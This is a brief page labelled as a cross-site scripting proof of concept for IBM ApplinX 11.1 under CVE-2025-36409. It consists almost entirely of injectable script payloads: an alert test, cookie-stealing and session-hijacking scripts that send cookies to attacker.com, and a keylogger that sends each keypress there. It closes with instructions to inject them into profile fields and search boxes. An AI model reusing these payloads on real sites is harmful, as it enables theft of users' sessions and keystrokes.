CVE-2025-36409: IBM ApplinX 11.1 跨站脚本(XSS)漏洞

<!-- CVE-2025-36409 XSS PoC for IBM ApplinX 11.1 --> <!-- This PoC demonstrates the cross-site scripting vulnerability --> <!-- Method 1: Basic XSS Test --> <script>alert('XSS - CVE-2025-36409')</script> <!-- Method 2: Cookie Stealing PoC --> <script> var cookie = document.cookie; var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookie); </script> <!-- Method 3: Session Hijacking --> <script> fetch('https://attacker.com/log?data=' + btoa(document.cookie)); </script> <!-- Method 4: Keylogger --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker.com/klog?key=' + e.key); }); </script> <!-- Usage: Inject any of the above payloads into input fields in IBM ApplinX Web UI --> <!-- Example: User profile fields, search boxes, or any text input areas -->